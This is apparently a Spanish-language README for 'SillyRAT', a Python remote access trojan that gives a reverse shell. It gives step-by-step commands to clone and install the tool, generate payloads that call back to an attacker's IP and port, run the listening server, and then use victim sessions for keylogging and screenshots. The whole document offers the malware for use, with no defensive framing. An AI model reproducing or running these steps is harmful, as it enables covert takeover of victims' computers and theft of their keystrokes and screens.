
Un RAT 🐀 (Troyano de Acceso Remoto) basado en Python para obtener una reverse shell 🖥️

Un RAT multiplataforma escrito en Python puro. El RAT acepta comandos junto con argumentos para actuar como servidor que acepta conexiones o como cliente/objetivo que establece conexiones con el servidor. El comando generate usa el módulo pyinstaller para compilar el código real del payload. Por lo tanto, para generar el archivo del payload para tu plataforma respectiva, debes estar en esa plataforma mientras generas el archivo. Además, también puedes obtener directamente el archivo fuente.
La herramienta está probada en Parrot OS con Python 3.8. Sigue los pasos para la instalación:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Puedes obtener el archivo del payload de dos formas:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
La versión compilada debe generarse en la plataforma correspondiente. Por ejemplo, no puedes generar un archivo .exe en Linux. Específicamente debes estar en Windows. La herramienta aún está en pruebas. Por lo tanto, se aceptan todo tipo de errores. Asegúrate de abrir un issue de todas formas. Generando la versión compilada para Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

Reemplaza tu dirección IP y puerto en los comandos anteriores.
El servidor debe ejecutarse en Linux. Puedes comprar un VPS o Servidor en la Nube para las conexiones. Para que conste, el servidor no almacena ninguna sesión de la ejecución anterior. Por lo tanto, todo el progreso se perderá una vez que la aplicación del servidor se termine. Ejecutando tu servidor:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
Todas las conexiones se listarán bajo el comando sessions:
$ sessions

Puedes conectarte a tu sesión objetivo con el comando connect y lanzar uno de los comandos disponibles:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

Obtén una lista de comandos disponibles:
$ help
Ayuda sobre un comando específico:
$ help COMMAND
Twitter: @hash3liZer
Discord: TheFlash2k#0407